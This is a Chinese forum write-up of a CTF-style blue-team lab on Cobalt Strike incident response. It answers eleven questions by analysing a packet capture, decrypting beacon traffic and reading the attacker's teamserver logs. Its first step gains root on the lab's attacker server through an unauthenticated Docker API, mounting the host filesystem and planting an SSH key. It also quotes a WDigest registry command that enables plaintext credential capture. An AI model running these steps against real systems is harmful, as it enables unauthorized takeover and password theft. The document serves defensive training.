找回密码
 立即注册
首页 业界区 安全 玄机蓝队靶场_应急响应_114:CobaltStrike流量分析 ...

玄机蓝队靶场_应急响应_114:CobaltStrike流量分析

移国拱 6 小时前
1.溯源反制,提交黑客CS服务器的flag.txt内容
  1. 用工具对ip进行端口扫描,发现开放了2375端口,是docker的api未授权漏洞,进行写入ssh公钥利用
  2. 利用方式可参考:https://blog.csdn.net/qq_45746286/article/details/128927573
复制代码
1.png
  1. 访问验证漏洞存在:
  2. http://161.189.114.66:2375/version
复制代码
2.png
  1. docker -H tcp://161.189.114.66:2375 ps -a
  2. docker -H tcp://161.189.114.66:2375 images
复制代码
3.png
  1. 本地生成ssh密钥把公钥上传到靶机:
  2. ssh-keygen -t rsa
  3. cat /root/.ssh/id_rsa.pub
  4. docker -H tcp://161.189.114.66:2375 run -it -v /:/mnt 97662d24417b /bin/bash
  5. vim /mnt/root/.ssh/authorized_keys
复制代码
4.png
  1. ssh -i ~/.ssh/id_rsa root@10.0.0.70 -p 22
  2. 写入ssh公钥免密登录后在根目录找到flag:
  3. find / -name "flag"
  4. cat /root/flag.txt
复制代码
5.png
  1. flag{6750ac374fdc3038a67e95e1f21d455c}
复制代码
2.黑客攻击主机上线时间是?(flag{YYYY-MM-DD HH:MM:SS})
  1. 根据给的流量包进行http协议过滤,可以发现第一个数据包就是Cobalt Strike分阶段加载payload上线的时间点:
  2. 11526        2025-02-12 20:12:52.048086        192.168.31.92        192.168.31.170        HTTP        237        GET /FJwV HTTP/1.1
  3. flag{2025-02-12 20:12:52}
复制代码
6.png

3.黑客使用的隧道payload名字是什么?
  1. 使用wireshark打开流量包,文件模块->导出对象->HTTP
复制代码
7.png
  1. 将受害者下载的payload下载到本地,使用1768.py分析:
  2. https://github.com/minhangxiaohui/CSthing
  3. 1768.py 是一个专门用于检测和分析 Cobalt Strike 信标(Beacon)流量的 Python 工具。它得名于 Cobalt Strike 信标流量中的一个关键特征值:1768 字节。
复制代码
8.png
  1. python 1768.py FJwV
复制代码
9.png
  1. flag{windows-beacon_http-reverse_http}
复制代码
4.黑客获取到当前用户的明文密码是什么?
  1. 通过在服务器上搜索teamserver或者Cobalt Strike关键字找到对应的路径下载到本地
  2. 经过简单搜索,发现logs路径内的文件记录了服务器上线以及命令执行的情况
复制代码
10.png
  1. 对logs路径进行关键字搜索:
  2. grep -r "Password" ./logs |grep -v "null"
复制代码
11.png
  1. flag{xj@cs123}
复制代码
5.黑客为了得到明文密码修改了什么?(提交flag{md5(执行的命令)})
  1. 需要结合流量包对Cobalt Strike流量数据进行解密
  2. 原理参考:https://forum.butian.net/share/1861
  3. 经过学习得知,每一个GET请求的Cookie结合私钥都可以得出Raw key,默认只有响应包与POST请求包是用对称算法加密的,其它的GET请求只是心跳包(POST是命令执行结果,响应包是指令)。
  4. (本地尝试解密的情况是解密流量中含有心跳包会报错Exception: HMAC signature invalid)
  5. 所以要得到黑客修改命令需要对响应包进行解密:
  6. 先将所有的响应包分组取出:
  7. http.response.code == 200
复制代码
12.png
  1. 标记后导出
复制代码
13.png

14.png
  1. 从.cobaltstrike.beacon_keys(在服务器的CS目录下)取出Cobalt Strike的私钥(自己调ai写了一个反序列化脚本)
  2. python pksk.py .cobaltstrike.beacon_keys
复制代码
15.png
  1. 将base64格式的私钥解码为16进制格式,用16进制私钥解密心跳包的Cookie值拿到RawKey:Raw key:  a4553adf7a841e1dcf708afc912275ee
  2. python cs-decrypt-metadata.py -p 私钥 待解密内容
  3. python cs-decrypt-metadata.py -p 3082025c0201000281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000102818069fee4ea1a135c7d922b306a2abb32747de59da444d1faa72806fc9380ccf763bf4f53b1614eeb6c8f24123604a480654823d4986fab7e3a41bab2de07e3c2cb6ec3a6dec4a8e8a22820bbb020a3cfe307978bc11d78551e6fc69dc058170b65cfb3d434827bf5e3c5030cd55fe94a8e4bfcada77ade6c3302417509b2e39225024100fcc826f55f2e5c1e3aa352707dff894ae493fac51570250bf2b80743e41ec66ea08d81f7f68c572183764e27506cecc0b562cc0f1b7e0a9da09d2f472575da8f024100959574bea8438053188e895c2da2c44fe54530ea522fdbeaccc5279755535f8ad61a9c7f3cfe7decaf85031a2ce52990100b5f130e5c5e457c0acd6832a2ff9302400cf8ac5f1d024101e01a6f698c5da78aeb4dd8a9725f2dd77e1e0969677458d46672bc7f9fec35b0679193931ae26c07bb871557951e93a6e10e0fd603cb176b02401b0e537580dde4c222f8f5237525b1b879d1d00d321c71fcc05910d6309ac9f744cebf6bcc4e83dc61caff4aa6c0348a583c964fce132b020a73b1bf9d191a7d024100cd61443812aa2e77c8651e20e80b6e22e81270cebb9d4dcaa68e8ff63159b272eb32385ce91bf27ca5ab9d092978dc7c1866a04eb38a9535de5f1723952be9d2 IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=
复制代码
16.png

17.png
  1. 用Raw key解密之前导出的响应包:
  2. python cs-parse-http-traffic.py -r Rawkey -Y ”wireshark过滤表达式“ 待解密pcap
  3. (本地测试不知道为啥-Y参数失效)
  4. python cs-parse-http-traffic.py -r a4553adf7a841e1dcf708afc912275ee cs_res.pcapng
复制代码
18.png
  1. echo -n ' /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f' |md5sum
  2. flag{73aeb8ee98d124a1f8e87f7965dc0b4a}
复制代码
6.黑客下载的文件名称是什么?
  1. 在CS服务器路径下搜索关键字download:
  2. grep -r "download" ./logs |grep -v "unknown"
复制代码
19.png
  1. flag{xxx服务器运维信息.xlsx}
复制代码
7.黑客下载的文件内容是什么?
  1. 结合搜索download关键字给出的最后一条日志:
  2. ./logs/250212/downloads.log:02/12 12:15:46 UTC  192.168.113.149 1603726794      9293    /opt/Cobalt_Strike_4.5/Cobalt_Strike_4.5/downloads/16b48285a    xxx服务器运维信息.xlsx  C:\Users\Administrator\Desktop\
  3. 将/downloads/16b48285a文件更改后缀.xlsx并打开:
  4. flag{752fe2f44306e782f0d6830faad59e0e}
复制代码
20.png

8.黑客上传的文件内容是什么?
  1. 在CS服务器路径下搜索关键字“upload”并打开具体日志文件查看
复制代码
21.png

22.png
  1. 打开流量包查看对应流量:对应的流量包的UTC时间要+8
  2. 因为不知道实际上发送了多少包,把这段时间内的流量包导出并解密
  3. http
复制代码
23.png

24.png
  1. 解密:
  2. python cs-parse-http-traffic.py -r a4553adf7a841e1dcf708afc912275ee cs_up.pcapng
  3. python cs-parse-http-traffic.py -r a4553adf7a841e1dcf708afc912275ee cs_up.pcapng --extract
  4. --extract 参数的含义是提取传输的文件内容。
复制代码
25.png
  1. 根据解密内容可以知道最后一个POST请求包就是上传图片成功后的命令结果响应包。
复制代码
26.png
  1. 如图,命令行中的MD5就是每个数据包内导出的图片分块命名,命令行的顺序是图片文件正确的传输顺序。然后将所有的导出文件数据块放进010中,找到PNG格式的头尾标志,将中间块按照命令行中给出的MD5顺序一一复制到PNG文件头后的内容中,注意复制时删除...)C:\Users\Administrator\Desktop\upload.png
  2. 文件头89 50 4E 47 0D 0A 1A 0A
  3. 文件尾AE 42 60 82
复制代码
27.png

28.png

29.png
  1. 最后得到一张记录了flag的图片
  2. flag{Hacker}
复制代码
30.png

9.黑客截图后获取到用户正在使用哪个软件?(提交程序名称如firefox)
  1. 在CS服务器路径下搜索截屏命令的关键字:
  2. grep -r "screen" ./logs |grep -v "unknown"
  3. flag{chrome}
复制代码
31.png
  1. 对应的文件夹下可以找到该截图
复制代码
32.png

10.黑客读取到浏览器保存的密码是什么?
  1. grep -r "PASSWORD" ./logs |grep -v "null"
  2. 直接找对应的日志文件中的命令记录也能找到:beacon_1603726794.log
  3. flag{0f338a1a6ad8785cee2b471d9d3e9f91}
复制代码
33.png

34.png

11.黑客使用键盘记录获取到用户打开了什么网站?(提交网站域名)
  1. 直接找logs中得到键盘记录日志
  2. flag{xj.edisec.net}
复制代码
35.png

36.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册